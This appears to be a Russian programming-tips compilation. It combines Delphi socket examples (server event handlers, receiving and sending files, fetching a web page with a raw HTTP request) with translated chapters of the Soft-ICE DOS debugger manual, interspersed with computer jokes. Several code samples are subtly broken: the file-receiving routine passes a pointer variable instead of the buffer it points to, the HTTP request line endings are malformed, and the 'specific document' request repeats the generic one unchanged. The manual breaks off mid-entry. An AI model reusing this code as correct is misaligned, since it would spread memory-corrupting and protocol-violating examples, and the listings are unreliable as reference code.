Memo2.Lines.Insert(0,'Client connection accepted');
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
{Здесь клиент подсоединяется}
Memo2.Lines.Insert(0,'Client connected');
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
{Здесь клиент отсоединяется}
Memo2.Lines.Insert(0,'Client disconnected');
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
{Произошла ошибка - выводим ее код}
Memo2.Lines.Insert(0,'Client error. Code = '+IntToStr(ErrorCode));
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
{От клиента получено сообщение - выводим его в Memo1}
Memo2.Lines.Insert(0,'Message received from client');
Memo1.Lines.Insert(0,'> '+Socket.ReceiveText);
end;
procedure TForm1.ServerSocket1ClientWrite(Sender: TObject;
Socket: TCustomWinSocket);
begin
{Теперь можно слать данные в сокет}
Memo2.Lines.Insert(0,'Now can write to socket');
end;
procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer;
var ClientSocket: TServerClientWinSocket);
begin
Memo2.Lines.Insert(0,'Get socket');
end;
procedure TForm1.ServerSocket1GetThread(Sender: TObject;
ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread);
begin
Memo2.Lines.Insert(0,'Get Thread');
end;
procedure TForm1.ServerSocket1ThreadEnd(Sender: TObject;
Thread: TServerClientThread);
begin
Memo2.Lines.Insert(0,'Thread end');
end;
procedure TForm1.ServerSocket1ThreadStart(Sender: TObject;
Thread: TServerClientThread);
begin
Memo2.Lines.Insert(0,'Thread start');
end;
procedure TForm1.Button3Click(Sender: TObject);
var i: Integer;
begin
{Посылаем ВСЕМ клиентам сообщение из Edit1}
for i := 0 to ServerSocket1.Socket.ActiveConnections-1 do begin
ServerSocket1.Socket.Connections[i].SendText(Edit1.Text);
end;
Memo1.Lines.Insert(0,'< '+Edit1.Text);
end;
|
Почему несколько блоков при передаче по сокету могут объединяться в один.
| Скорость передачи между двумя и более пользователями Intегnеtа при обрыве связи внезапно возрастает до 2 мегаматов в секунду. |
Итак, во-первых, надо заметить, что посылаемые через сокет данные могут не только объединяться в один блок, но и разъединяться по нескольким блокам. Дело в том, что сокет - обычный поток, но в отличие, скажем, от файлового (TFileStream), он передает данные медленнее (сами понимаете - сеть, ограниченный трафик, и т.д.). Именно поэтому две команды:
ServerSocket1.Socket.Connections[0].SendText('Hello, ');
ServerSocket1.Socket.Connections[0].SendText('world!');
Совершенно идентичны одной команде:
ServerSocket1.Socket.Connections[0].SendText('Hello, world!');
И именно поэтому, если Вы отправите через сокет файл, скажем, в 100 Кб, то тому, кому Вы посылали этот блок, придет несколько блоков с размерами, которые зависят от трафика и загруженности линии. Причем, размеры не обязательно будут одинаковыми. Отсюда следует, что для того, чтобы принять файл или любые другие данные большого размера, Вам следует принимать блоки данных, а затем объединять их в одно целое (и сохранять, например, в файл). Отличным решением данной задачи является тот же файловый поток - TFileStream (либо поток в памяти - TMemoryStream). Принимать частички данных из сокета можно через событие OnRead (OnClientRead), используя универсальный метод ReceiveBuf. Определить размер полученного блока можно методом ReceiveLength. Также можно воспользоваться сокетным потоком (см. статью про TClientSocket). А вот и небольшой примерчик (приблизительный):
{Прием файла через сокет}
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var l: Integer;
buf: PChar;
src: TFileStream;
begin
{Записываем в l размер полученного блока}
l := Socket.ReceiveLength;
{Заказываем память для буфера}
GetMem(buf,l+1);
{Записываем в буфер полученный блок}
Socket.ReceiveBuf(buf,l);
{Открываем временный файл для записи}
src := TFileStream.Create('myfile.tmp',fmOpenReadWrite);
{Ставим позицию в конец файла}
src.Seek(0,soFromEnd);
{Записываем буфер в файл}
src.WriteBuffer(buf,l);
{Закрываем файл}
src.Free;
{Освобождаем память}
FreeMem(buf);
end;
|
Как запросить страницу с сайта.
Автор: Fantasist WEB-сайт: http://forum.vingrad.ru
unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ScktComp;
const
Request: AnsiString = 'GET / HTTP/1.1' + #0$D#0$A+
'Accept: application/vnd.ms-excel, application/msword, */*' + #0$D#0$A+
'Accept-Language: en-us' + #0$D#0$A+
'Accept-Encoding: gzip, deflate' + #0$D#0$A+
'User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)' + #0$D#0$A+
'Host: vingrad.com' + #0$D#0$A+
'Connection: Keep-Alive' + #0$D#0$A+#0$D#0$A;
type
TForm1 = class(TForm)
Skt: TClientSocket;
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure SktRead(Sender: TObject; Socket: TCustomWinSocket);
procedure SktConnect(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
Skt.Host := 'vingrad.ru';
Skt.Port := 80;
Skt.Open;
end;
procedure TForm1.SktRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Lines.Text := Memo1.Lines.Text + Socket.ReceiveText;
end;
procedure TForm1.SktConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText(Request);
end;
end.
Request - это запрос который посылает мой IE5. В принципе, по протоколу HTTP он может ограничиваться: 'GET / HTTP/1.1'+#13+#13. Если хотите запросить оределенный документ: 'GET / HTTP/1.1'+#13+#13. Конечно, всегда можно воспользоваться готовыми компонентами.
Как запросить страницу с сайта 2.
Автор: http://www.sources.ru
{
Присоедините следующий обработчик к Вашему TClientSocket.
Он получает файл с сервера и помещает его в строковую переменную
FText string variable. Однако он не убирает заголовок,
который так же посылается вебсервером.
Не забудьте задать правильный адрес сервера в объекте Socket.
Установите порт 80. А затем откройте его при помощи команды "Socket.Open;".
Автор: E.J.Molendijk
}
const
WebPage = '/index.html';
var
FText: string;
procedure TForm1.SocketWrite(Sender: TObject;
Socket: TCustomWinSocket);
begin
Socket.SendText('GET ' + Webpage + ' HTTP/1.0'#10#10);
end;
procedure TForm1.SocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
FText := FText + Socket.ReceiveText
end;
procedure TForm1.SocketConnecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
FText := '';
end;
procedure TForm1.SocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
{ --- }
{ ЗДЕСЬ ВЫ МОЖЕТЕ ОБРАБАТЫВАТЬ ВАШ FText !!! }
{ --- }
end;
procedure TForm1.SocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0; { Ошибки игнорируем }
end;
Посылка файлов через сокет.
| Спать на работе - грех, не для того вам там дан бесплатный интернет! |
Здесь мы рассмотрим посылку файлов через сокет. Итак, как же послать файл по сокету? Очень просто! Достаточно лишь открыть этот файл как файловый поток (TFileStream) и отправить его через сокет (SendStream)! Рассмотрим это на примере:
{Посылка файла через сокет}
procedure SendFileBySocket(filename: string);
var
srcfile: TFileStream;
begin
{Открываем файл filename}
srcfile := TFileStream.Create(filename,fmOpenRead);
{Посылаем его первому подключенному клиенту}
ServerSocket1.Socket.Connections[0].SendStream(srcfile);
{Закрываем файл}
srcfile.Free;
end;
|
Нужно заметить, что метод SendStream используется не только сервером, но и клиентом (ClientSocket1.Socket.SendStream(srcfile)).
Руководство по Soft-ICE (DOS) - 1.
| - И почему персональный компьютер изобрели не в России? Ведь все его устройства общаются между собой только по матери. |
РАЗДЕЛ I - Изучение Soft-ICE
ГЛАВА 1
1.1 Описание Продукта
Soft-ICE - инструмент отладки программного обеспечения, который обеспечивает возможности отладки на аппаратном уровне для отладчиков PC DOS и MS DOS.
Soft-ICE использует защищенный режим 80386, чтобы запускать DOS в виртуальной машине. Это дает Soft-ICE полный контроль над окружением DOS. Soft-ICE использует особенности защищенного режима 80386, типа страничной организации памяти, уровня привилегий ввода/вывода и регистров отладки, для установки аппаратных точек останова из вашего существующего отладчика DOS.
Soft-ICE был разработан для достижения трех целей:
Использовать возможности виртуальной машины 80386 для тех способов отладки, которые являются невозможными или недопустимо медленными для отладчиков, использующих только программные средства (например, аппаратные точки останова в режиме реального времени, защита памяти, борьба с программами, вызывающими зависание системы и т.д.). Работать с существующими отладчиками. Мы хотели предоставить инстру- мент, который работал бы с существующими инструментами. Мы разработали Soft-ICE таким образом, чтобы вам не нужно было изучать новый отладчик для получения мощных возможностей для отладки программ на аппаратном уровне. Быть программой, дружественной к пользователю, с окном, которое всплывает немедленно и не мешает работать. Все команды Soft-ICE были разработаны, чтобы помещаться в небольшом окне так, чтобы была видна информация за экраном Soft-ICE. Динамическая система интерактивной помощи помогает пользователям, редко использующим Soft-ICE.Предоставляемые возможности программы Soft-ICE:
Точки останова на чтение/запись в ОЗУ в режиме реального времени, на чтение/запись в порты и области памяти и на прерывания История выполнения команд для обратной трассировки Символьная отладка и отладка на уровне исходных текстов Окружение, работающее с существующими отладчиками Полная поддержка EMM 4.0 Возможность наращивания основной памяти свыше 640КБ для систем с монохромными адаптерами Окно, всплывающее в любое время Способность всплытия по нажатию клавиши даже при отключенных прерываниях Код отладчика, изолированный при помощи защищенного режима 80386. Это предотвращает изменение или разрушение Soft-ICE выполняющейся программой; даже если DOS будет разрушена, Soft-ICE все еще будет работать Способность настроить Soft-ICE не использовать память ниже границы 640КБ, если в системе есть больше чем 640КБ Дружественная динамическая помощь Возможность использования в качестве автономного отладчика. Эта возможность полезна при отладке загружаемых драйверов устройств, обработчиков прерываний, последовательностей команд, которые традиционные отладчики не могут пройти; если ваш отладчик испытывает трудности при повторных вхождениях в код (re-entrancy) * Способность мягкой перезагрузки, позволяющая отлаживать другие операционные системы или самозагружающиеся программы Простая установка без необходимости настройки DIP-переключателей для предотвращения захвата портов и никаких конфликтов с адресным пространством ОЗУВнимание: Soft-ICE будет работать только с программами реального режима адресации. Он не будет работать с программами, которые используют инструкции защищенного режима 80286 или 80386.
1.2 Использование этого Руководства
Руководство по Soft-ICE разделено на четыре основные части:
Изучение Soft-ICE Команды Поддерживаемые Возможности Дополнительные ТемыSoft-ICE можно использовать в большинстве отладочных задач после прочтения Части I,"Изучение Soft-ICE" и небольшого экспериментирования. Дружествен- ная интерактивная система помощи пользователям Soft-ICE может использоваться для получения описания и синтаксиса команд.
Часть "Изучение Soft-ICE" содержит инструкции по установке, описание интер- фейса пользователя и обучающую часть. Обучающая часть предназначена для того, чтобы вы быстро смогли освоиться и начать работу.
Часть "Команды" описывает все команды Soft-ICE. Описания команд упорядочены по функциональным группам с буквенным индексом для ссылок.
Часть "Поддерживаемые Возможности" охватывает расширенные опции загрузки, символьную отладку и отладку на уровне исходных текстов, возможности EMM 4.0.
Часть "Дополнительные Темы" охватывает темы типа использования Soft-ICE с загружаемыми драйверами ДОС и использования Soft-ICE с другими ОС (non-DOS).
Во всем руководстве, особенно в обучающей части и части с описанием команд, даны примеры, требующие ввода данных в Soft-ICE. Когда в руководстве указано.
"Нажмите" клавишу, вы должны нажать указанную клавишу. Когда в руководстве указано "Введите" команду типа WIN, вы должны набрать на клавиатуре указан- ные буквы, после чего нажать ВВОД.
1.3 Системные требования
Soft-ICE работает с IBM Серии II модели 70 и 80, Compaq 80386 и компьютерами 80386SX, с совместимыми с AT и 80386 картами сопроцессора. Soft-ICE будет работать с сопроцессорами 80386 XT только, если они совместимы с AT.
Soft-ICE лучше всего работает при наличии расширенной памяти, но так же прекрасно работает на системах только с основной памятью.
Soft-ICE не использует DOS или ROM BIOS для видео вывода и клавиатурного ввода. Поэтому видеоадаптер должен быть совместим с одним из следующих: MDA, Hercules, CGA, EGA или VGA. Soft-ICE также поддерживает двухмониторную конфигурацию, которая очень полезна при отладке программ, интенсивно работа- ющих с видеоадаптером.
ГЛАВА 2
2.1 Дискеты
Soft-ICE поставляется на дискетах 5 1/4 или 3 1/2 дюйма.
При запуске Soft-ICE, как мера против компьютерных пиратов, на экран выводится имя лица, обладающего лицензией на использование вашей копии Soft-ICE. Для вашего удобства дискета с Soft-ICE физически не защищена от копирования. Для нашего удобства, мы надеемся на ваше серьезное отношение к нашему лицензионному соглашению. Важно сделать резервную копию дискеты на случай повреждения оригинала.
В директории дискеты Soft-ICE должны находиться следующие файлы:
S-ICE.EXE S-ICE.DAT LDR.EXE MSYM.EXE EMMSETUP.EXE UPTIME.EXE README.SI SAMPLE.EXE SAMPLE.ASM SAMPLE.SYM S-ICE.EXE - программа Soft-ICE. S-ICE.DAT - файл инициализации Soft-ICE. LDR.EXE - загрузчик программ и символьных файлов, входящий в пакет Soft-ICE. MSYM.EXE - программа создания символьных файлов, входящая в пакет Soft-ICE. EMMSETUP.EXE - программа, позволяющая вам определить способ использования вашей системой отображаемой памяти. UPTIME.EXE устанавливает время в соответствии с часами реального времени. README.SI - текстовый файл, содержащий информацию о Soft-ICE, которая не входит в это руководство. SAMPLE.EXE - короткая демонстрационная программа, которая используется в обучающей части. SAMPLE.ASM - файл с исходным текстом демонстрационной программы на Ассемблере SAMPLE.SYM - символьный файл для демонстрационной программы.2.2 Загрузка Soft-ICE
Перед запуском Soft-ICE, скопируйте все файлы с дистрибутивной дискеты на ваш жесткий диск.
Эти файлы должны быть помещены в каталог, доступный через ваш дополнительный список путей (path list).
S-ICE.EXE может быть загружен как драйвер устройства в CONFIG.SYS или запущен как программа из командной строки. Чтобы использовать большинство возможностей Soft-ICE, S-ICE.EXE должен быть загружен как драйвер устройства в CONFIG.SYS.
Внимание: Если у вас нет расширенной памяти, Soft-ICE НЕ может быть загружен как драйвер устройства. Вместо этого он должен быть запущен из командной строки DOS.
2.2.1 Загрузка Без Расширенной Памяти
Когда нет расширенной памяти, Soft-ICE загружается в максимально высокие адреса памяти. В таком случае память, используемая Soft-ICE, исключается из карты памяти, что делает его невидимым для программ DOS. Так как после загрузки Soft-ICE уменьшается память, видимая программами DOS, рекомендуется.
Загружать Soft-ICE до всех TSR или контролирующих программ. Если у вас нет расширенной памяти, просто введите:
S-ICE |
2.2.2 Загрузка С Расширенной Памятью
Загрузка Soft-ICE с расширенной памятью может выполняться одним из двух путей:
1. Установить S-ICE.EXE как драйвер в CONFIG.SYS, Этот метод необходим, если вы будете использовать какую-то из следующих возможностей:
Разделение памяти с программами, которые используют расширенную память, используя вызовы ROM BIOS (VDISK.SYS, RAMDRIVE.SYS, HIMEM.SYS, кэш-программы и т.д..). Использование возможностей Soft-ICE - EMM 4.0 Использование Soft-ICE для символьной отладки или отладки на уровне исходного текста. Использование обратной трассировки. Использование Soft-ICE с другими продуктами Nu-Mega, такими как MagicCV,Загруженный как драйвер, Soft-ICE выделяет часть расширенной памяти для себя и связанных с ним компонент, так что не возникает никаких конфликтов в памяти. S-ICE.EXE должен быть загружен в CONFIG.SYS перед всеми другими драйверами, которые выделяют расширенную память при загрузке (например VDISK.SYS, RAMDRIVE.SYS). Вообще Soft-ICE работает лучше всего, если он является первым загружаемым драйвером, установленным в CONFIG.SYS.
Для начинающих пользователей Soft-ICE рекомендуется загружать Soft-ICE как первый драйвер в CONFIG.SYS в следующем виде:
device = диск:\путь\S-ICE.EXE /SYM 50 |
Диск и путь определяют директорию, в которой находится S-ICE.EXE. Эта строка загрузит Soft-ICE при инициализации системы и этого будет достаточно для обучающей части. Однако, Soft-ICE не будет установлен для использования некоторых более мощных возможностей, типа EMM 4.0. Вы можете реконфигурировать Soft-ICE и включить эти возможности после того, как вы немного поэкспериментировали. Если у вас уже есть опыт работы с Soft-ICE или вы хотите немедленно установить Soft-ICE с этими возможностями, пожалуйста прочтите главу 6 (Опции Инициализации Soft-ICE).
Предостережение: При первой на вашей системе установке любого нового драйвера устройства, желательно иметь системную дискету. Это - предупредительная мера для тех не- желательных случаев, когда параметры, принимаемые драйвером по умолчанию, не совместимы с вашей системой.
Если вы точно не знаете, как отредактировать ваш файл CONFIG.SYS, обратитесь к руководству пользователя вашей системы или руководству вашего текстового редактора. После того, как вы изменили ваш CONFIG.SYS вы должны перезагрузить вашу систему, чтобы внесенные изменения вступили в силу.
Руководство по Soft-ICE (DOS) - 10.
| Фирме требуется хакер, желательно со знанием компьютера. |
Синтаксис:
[команда | выражение] |
Комментарии:
И команда ? и команда H выводят справочную информацию.
Если параметры не определены, система помощи выдает короткие описания всех команд и операторов, по одному экрану за раз. Нажмите любую клавишу для продолжения или нажмите ESC, чтобы выйти из выводимой справки.
Если указана команда, справка выводит более детальную информацию относительно указанной команды, включая синтаксис команды и пример.
Если указано выражение, выражение вычисляется и результат выводится в шестнадцатеричном, десятичном и ASCII-представлении.
Примеры:
? ALTKEY |
Эта команда отображает информацию о команде ALTKEY, включая синтаксис и пример.
H 10 + 14*2 |
Эта команда выводит: 0038 00056 "8". Это - шестнадцатеричное, десятичное и ASCII-представления значения выражения "10 + 14*2".
VER
VER -- Выводит номер версии Soft-ICE.
Синтаксис:
VER |
Пример:
VER |
Эта команда выводит версию Soft-ICE и сообщение об авторских правах Nu-Mega Technologies.
5.2 Команды Портов ввода/вывода
Команды:
I или IB -- Ввод из байтового порта ввода/вывода IW -- Ввод из порта ввода/вывода с размерностью в слово O или OB -- Вывод в байтовый порт ввода/вывода OW -- Вывод в порт ввода/вывода с размерностью в слово.
I, IB, IW
I, IB, IW -- Ввод из порта ввода/вывода.
Синтаксис:
I [размерность] порт |
Размерность -- B -- Байт W -- Слово порт -- байт или слово.
Комментарии:
Команды ввода из порта используются для чтения и отображения значений из аппаратного порта. Ввод может выполняться из портов с размерностью слово или байт. Если размер не определен, то значение по умолчанию - байт.
Пример:
I 21 |
Эта команда отображает регистр маски первого контроллера прерываний.
O, OB, OW
O, OB, OW, -- Вывод в порт ввода/вывода.
Синтаксис:
O [размерность] порт значение |
Размерность -- B -- Байт W -- Слово порт -- байт или слово значение -- байт для байтового порта или слово для порта размерностью в слово.
Комментарии:
Команды вывода в порт используются для записи значения в аппаратный порт. Вывод может выполняться в порты размерностью байт или слово, если размер не определен, то значение по умолчанию - байт.
Пример:
O 21 FF |
Эта команда маскирует все прерывания для первого контроллера прерываний.
5.3 Команды Передачи Управления
Команды:
X -- Выйти из окна Soft-ICE G -- Перейти по адресу T -- Протрассировать одну команду P -- Программный шаг HERE -- Исполнение программы до строки, в которой находится курсор GENINT -- Вызов прерывания EXIT -- Вызывает выход из текущей программы DОS'а BOOT -- Перезагрузка системы (с сохранением Soft-ICE) HBOOT -- Жесткая перезагрузка системы (общий сброс).
X
X -- Выйти из окна Soft-ICE.
Синтаксис:
X |
Комментарии:
Команда X производит выход из окна Soft-ICE и возвращает управление программе, которая была прервана при вызове Soft-ICE. Окно Soft-ICE исчезает. Если до этого были установлены точки останова, они станут активными.
Пример:
X |
G
G -- Перейти по адресу.
Синтаксис:
G [=адрес-начала] [адрес-останова] |
Комментарии:
Команда G вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.
Если не указан параметр адрес-начала, выполнение начинается с текущего CS:IP. В противном случае выполнение начинается с адреса-начала. Выполнение продолжается, пока не достигается адрес-останова, используется комбинация клавиш для вызова окна или не выполняется "прилипающая" точка останова.
Адрес останова должен указывать на первый байт опкода команды.
Когда достигается указанный адрес-останова, текущий CS:IP будет указывать на команду, где была установлена точка останова.
Команда G без параметров ведет себя также как команда X.
Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.
Пример:
G CS:1234 |
Эта команда устанавливает временную точку останова на CS:1234.
T
T -- Протрассировать одну команду.
Синтаксис:
T [=адрес-начала] [счетчик] |
Комментарии:
Команда T выполняет одиночный шаг на одну команду, используя флаг трассировки.
Если параметр адрес-начала не указан, выполнение начинается с текущего CS:IP. Если адрес-начала - определен, CS:IP изменяется на адрес-начала для трассировки.
Если указано значение счетчика, Soft-ICE будет считать количество шагов. Команда TRACE будет выполняться, пока счетчик не будет исчерпан или не будет нажата клавиша Esc, независимо от достигнутых точек останова.
В режиме работы с исходным текстом команда T переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции и есть исходный текст вызываемой подпрограммы, T входит в нее. Если нет исходного текста вызываемой процедуры или функции, T перешагивает через подпрограмму.
Пример:
T = 1284 3 |
Эта команда трассирует три инструкции, начиная с ячейки памяти 1284.
P
P -- Программный шаг.
Синтаксис:
P |
Комментарии:
Команда P - логический шаг программы. По текущему CS:IP выполняется одна команда, если она не является обращением, прерыванием, циклом или командой повторения работы со строковыми данными. В этих случаях, прежде чем управление возвращается Soft-IСЕ'у, выполняется вся подпрограмма или итерация.
Команда P использует одноразовую точку останова на выполнение. Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команды G и P не будут корректно работать в ПЗУ. При попытке их использования будет выведено сообщение об ошибке.
В режиме работы с исходным текстом команда P переходит на следующее выражение в исходном тексте. Если текущее выражение - вызов процедуры или функции, P перешагивает через подпрограмму.
Пример:
P |
Эта команда выполняет один 'программный шаг'.
HERE
HERE -- Исполнение программы до строки, в которой находится курсор.
Синтаксис:
HERE |
Комментарии:
Команда HERE выполняется, пока программа не достигает текущей строки курсора. HERE доступна, только когда курсор находится в окне кода. Если окно кода не видимо или курсор - не в окне кода, используйте вместо этого команду G.
Команда HERE вызывает выход из окна Soft-ICE с одноразовым набором точек останова на выполнение. Кроме того, активизируются все "прилипающие" точки останова.
Выполнение начинается с текущего CS:IP и продолжается до встречи адреса текущей позиции курсора в окне кода, используется комбинация клавиш для вызова окна и выполняется "прилипающая" точка останова.
Обычная точка останова на выполнение использует 1 отладочный регистр 80386, пока все отладочные регистры не будут распределены для "прилипающих" точек останова. В этом случае, будет произведен останов в стиле INT 3. В таком случае команда HERE не будет корректно работать в ОЗУ. При попытке ее использования будет выведено сообщение об ошибке.
Руководство по Soft-ICE (DOS) - 11.
| Встречаются двое соседей на лестничной площадке. Один возмущается: - Из вашей квартиры вчера доносились такие крики, будто вы поросенка резали! - Нет, это я антивирус Касперского запускал. |
Пример:
HERE |
Этот пример устанавливает точку останова на выполнение на текущую позицию курсора, затем выходит из Soft-ICE и начинает выполнение с текущего CS:IP. Заданная по умолчанию Функциональная клавиша: F7.
GENINT
GENINT -- Вызов прерывания.
Синтаксис:
GENINT INT1 | INT3 | NMI | номер-прерывания |
Номер-прерывания -- число в диапазоне 00 - FF.
Комментарии:
Команда GENINT вызывает прерывание. Она может использоваться для передачи управления другому отладчику при использовании Soft-ICE с другим отладчиком. Она также может использоваться для проверки подпрограмм обработки прерываний.
Команда GENINT эмулирует последовательность обработки аппаратного прерывания или команды INT. Она сохраняет флаги, регистр CS и регистр IP, затем изменяет значение регистров CS и IP на значение входа в таблицу векторов прерываний, в соответствии с указанным номером прерывания.
Пример:
GENINT NMI |
Это вызывает немаскируемое прерывание. Оно передаст управление обратно CodeView, если Soft-ICE используется как вспомогательное средство для CodeView.
EXIT
EXIT -- Вызывает выход из текущей программы DОS'а.
Синтаксис:
EXIT [R] [D] |
R -- Восстановить таблицу векторов прерываний D -- Удалить все точки останова.
Комментарии:
Команда EXIT пытается прерывать текущую программу, вызывая функцию выхода DOS (INT 21H, функция 4CH). Эта команда будет работать только если DOS находится в состоянии, когда она способна принять обращение к функции выхода. Если это обращение произведено из некоторых обработчиков прерываний или в других случаях, когда DOS не готова, поведение системы будет непредсказуемо.
Эта функция НЕ производит восстановления системных переменных, кроме таблицы прерываний, при указанной опции R. Это означает что переменные BIOS, видеорежимы и другие данные системного уровня не восстанавливаются.
Использование опции R вызовет восстановление векторов прерываний к значениям которые были в последний раз, когда они были сохранены. Soft-ICE сохраняет векторы прерываний, когда он загружается, когда LDR.EXE загружает программа и когда используется команда VECS S.
Обратите внимание:
Для перезапуска программы, которая была загружена программой-загрузчиком Soft-IСЕ'а (LDR.EXE) сделайте следующее:
EXIT R LDR prog.EXE |
Команда EXIT восстановит таблицу прерываний к значениям, которые содержались в ней до загрузки программы, затем выйдите к командному процессору. При помощи запуска LDR и указания суффикса .EXE, программа загружается обратно без перезагрузки символов и исходного текста. Символы и исходный текст останутся в памяти.
Внимание:
Команда EXIT должна использоваться с осторожностью. Так как Soft-ICE может быть вызван в любое время, может произойти ситуация, когда DOS не в состоянии принять обращение к функции выхода. Также, команда EXIT не производит никакого специфического программного сброса. Например, команда EXIT не восстанавливает видеорежим. Если ваша программа установила видео BIOS и аппаратные средства в определенный видеорежим, они останутся в этом режиме после команды EXIT.
Пример:
EXIT R |
Восстанавливает таблицу прерываниq и выходит из текущей программы. Опция R должна использоваться при выходе из программы, загруженной программным загрузчиком Soft-IСЕ'а LDR.EXE.
BOOT
BOOT -- Перезагрузка системы (с сохранением Soft-ICE).
Синтаксис:
BOOT |
Комментарии:
Команда BOOT перезагружает систему и сохраняет Soft-ICE. BOOT требуется для отладки последовательности начальной загрузки, загружаемых драйверов DOS и операционных систем отличных от DOS (non-DOS).
BOOT выполняется посредством вызова прерывания 19H ROM BIOS. В некоторых случаях память может быть разрушена до такой степени, что прерывание 19 не будет работать. Тогда вызовите Soft-ICE и используйте команду HBOOT.
Для правильной работы BOOT Soft-ICE должен быть установлен как загружаемый драйвер в CONFIG.SYS перед всеми другими драйверами устройств. Так Soft-ICE сможет восстановить первоначальное состояние системы максимально точно.
Пример:
BOOT |
Эта команда выполняет перезагрузку системы. Soft-ICE остается резидентным.
HBOOT
HBOOT -- Жесткая перезагрузка системы (общий сброс).
Синтаксис:
HBOOT |
Комментарии:
Команда HBOOT сбрасывает всю систему. Soft-ICE не сохраняется в процессе сброса. HBOOT достаточна, если плата адаптера не требует отключения питания. В этом случае, питание машины нужно отключить и затем восстановить.
Пример:
HBOOT |
Эта команда производит перезагрузку системы. Soft-ICE должен быть заново загружен.
5.4 Команды Режима Отладки
Команды:
ACTION -- Устанавливает действие после достижения точки останова WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS BREAK -- Прерывает исполнение в любое время I3HERE -- Перенаправить прерывание 3 на Soft-ICE.
ACTION
ACTION -- Устанавливает действие после достижения точки останова.
Синтаксис:
ACTION [INT1 | INT3 | NMI | HERE | int-номер] |
Int-номер -- Любой допустимый номер прерывания (0-FFH). Используйте эту опцию только если пользовательская подпрограмма-обработчик прерывания перехватила этот вектор прерывания (смотрите раздел 11.2).
Комментарии:
Команда ACTION определяет, куда передается управление, когда выполнены условия точки останова. В большинстве случаев, желательное действие - INT3 или HERE, INT3 обычно используется, если Soft-ICE используется вместе с главным отладчиком, HERE используется, когда желательно вернуться в Soft-ICE при выполнении условий останова, INT1 и NMI - варианты для некоторых отладчиков, которые не работают с опцией INT3. Например, CODEVEW лучше всего работает с ACTION установленным в NMI.
Используйте int-номер, если имеется установленная пользовательская процедура обработки прерывания. Использование int-номера без установленной процедуры пользователя по обработке прерывания вызовет ошибку. Для получения более подробной информации, см. раздел 11.2, 'Пользовательские точки останова'.
Если параметры команды ACTION не указаны, отображается текущее установленное действие.
Заданное по умолчанию действие - HERE.
Пример:
ACTION HERE |
Эта команда указывает, что когда будут выполнены условия точки останова, управление вернется Soft-IСЕ'у.
WARN
WARN -- Устанавливает режим предупреждения повторной входимости DOS/ROM BIOS.
Синтаксис:
WARN [ON | OFF] |
Комментарии:
Команда WARN предусмотрена для использования Soft-ICE с отладчиками, которые используют DOS и ROM BIOS. Много отладчиков используют DOS и ROM BIOS для вывода на экран и чтения нажатий клавиш. Так как DOS и ROM BIOS не полностью реентерабельны, эти отладчики не могут корректно работать, если останов происходит во время выполнения процедур DOS или ROM BIOS.
Если установлен WARN ON и ACTION - не HERE, то управление перейдет к Soft-ICE до того как действие фактически произойдет. Система отобразит текущий CS:IP и предоставит вам выбор продолжить или вернуться в Soft-ICE. Вообще, вы должны выбрать возврат в Soft-ICE для продолжения вашей работы по отладке. Продолжайте работу с главным отладчиком, только если вы знаете, что ваш отладчик не вызовет повторного вхождения в DOS или ROM BIOS.
Режим WARN должен быть включен при использовании Soft-ICE с DEBUG, SYMDEB и CODEVIEW.
Если параметры не указаны, отображается текущее состояние WARN.
Значение по умолчанию - режим WARN OFF.
Пример:
WARN ON |
Эта команда включает режим предупреждения повторной входимости в DOS/ROM BIOS.
BREAK BREAK -- Прерывает исполнение в любое время.
Синтаксис:
BREAK [ON | OFF] |
Комментарии: Команда BREAK позволяет вызывать окно Soft-ICE, когда система остановлена с заблокированными прерываниями. Режим BREAK может использоваться для всего сеанса отладки или он может включаться и отключаться, когда это требуется.
Режим BREAK немного снижает эффективность системы. Это снижение производительности должно оцениваться с точки зрения необходимости выхода из зависшей программы. Пользователь может хотеть иметь включенный режим BREAK на все время, даже при снижении эффективности, потому что программа может зависнуть в любое время.
В отличие от других отладчиков, которые тоже могут быть вызваны в любое время, Soft-ICE не требует внешнего переключателя. Когда BREAK - включен, окно Soft- ICE может быть вызвано в любое время при нажатии текущей комбинации клавиш.
Если параметры не указаны, отображается текущее состояние BREAK.
Значение по умолчанию - BREAK OFF.
Пример:
BREAK ON |
Эта команда включает режим BREAK. Это означает что окно Soft-ICE может быть вызвано в любое время, даже если прерывания заблокированы.
Руководство по Soft-ICE (DOS) - 12.
| Настоящее имя Билла Гейтса - дед мастдай... |
I3HERE
I3HERE -- Перенаправить прерывание 3 на Soft-ICE.
Синтаксис:
I3HERE [ON | OFF] |
Комментарии:
